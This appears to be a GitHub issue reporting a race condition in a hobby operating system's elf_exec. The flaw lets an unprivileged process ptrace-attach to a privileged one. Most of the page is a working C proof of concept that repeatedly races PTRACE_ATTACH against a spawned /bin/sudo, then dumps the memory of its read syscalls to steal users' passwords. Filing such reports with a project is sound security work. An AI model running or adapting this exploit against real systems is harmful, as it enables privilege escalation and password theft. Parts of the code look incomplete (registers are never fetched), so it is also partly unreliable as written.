-
-
Notifications
You must be signed in to change notification settings - Fork 520
Open
Labels
Description
In elf_exec
, there is a small window between ptrace attach to the process and before it checks is that process is attached
So, sometimes a privileged process is traced by an unprivileged process.
POC (Updated) :
#include "unistd.h"
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ptrace.h>
#include <sys/signal.h>
#include <sys/signal_defs.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/sysfunc.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uregs.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <syscall.h>
#include <syscall_nums.h>
#include <string.h>
struct regs regs;
void child() {
char *argv[] = {"/bin/sudo", "ls", NULL};
if (execvp(argv[0], argv) < 0) {
perror("execve");
}
_exit(0);
}
int read_bytes(pid_t pid, void *addr, char *buffer, size_t len) {
if (!buffer) {
fprintf(stderr, "Buffer is NULL.\n");
return -1;
}
for (size_t i = 0; i < len; i++) {
unsigned char byte;
long ret = ptrace(PTRACE_PEEKDATA, pid, (char *)addr + i, &byte);
if (ret < 0) {
perror("nooo");
return -1;
}
buffer[i] = byte; // Store the read byte into the buffer.
}
return 0;
}
int is_printable(unsigned char c) { return (c >= 0x20 && c <= 0x7E); }
void hexdump(const unsigned char *buffer, size_t length, size_t base_address)
{
if (!buffer) {
fprintf(stderr, "Buffer is NULL.\n");
return;
}
size_t i, j;
for (i = 0; i < length; i += 16) {
// Print the address offset
printf("%08zx ", base_address + i);
// Print the hex values
for (j = 0; j < 16; j++) {
if (i + j < length) {
printf("%02x ", buffer[i + j]);
} else {
printf(" "); // Fill space for incomplete lines
}
}
printf(" "); // Spacer between hex and ASCII
// Print the ASCII representation
for (j = 0; j < 16; j++) {
if (i + j < length) {
unsigned char c = buffer[i + j];
printf("%c", is_printable(c) ? c : '.');
}
}
printf("\n");
fflush(stdout); // Ensure the output is flushed immediately
}
}
int main(int argc, char** argv, char** envp) {
int Tpid;
while (1) {
for(int try = 0; try < 100 ; try++){
int pid = fork();
if (pid == 0) {
child();
}
usleep(10);
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) == 0) {
Tpid = pid;
goto have_Tpid;
}
}
puts("Try harder!");
sleep(2);
}
have_Tpid:
system("ps -A fau");
printf("pid: %d\n", Tpid);
if (syscall_kill(Tpid, 9) >= 0) {
puts("NOO");
system("clear");
execvp("/bin/x", argv);
return -1;
}
int recv = 0;
_Bool opened = 0;
int passfd = -1;
while (1) {
if (regs.rax == SYS_READ && regs.rdi >=2) {
puts("Maybe read pass");
printf("rip = 0x%lx, rdi = 0x%lx, rsi = 0x%lx, rdx = 0x%lx, rsp=0x%lx,"
"rbp = 0x%lx\n",
regs.rip, regs.rdi, regs.rsi, regs.rdx, regs.rsp, regs.rbp);
char buf[0x2000] = {0};
if (read_bytes(Tpid, (void *)(regs.rsi & ~0xfffULL), buf, 0x2000) == 0) {
hexdump(buf, 0x1000, (void *)(regs.rsi & ~0xfffULL));
puts(buf);
}
}
next:
ptrace(PTRACE_CONT, Tpid, NULL, NULL);
recv++;
}
return 0;
}
By tracing the sudo process, the un-privileged process can leak many users' passwords: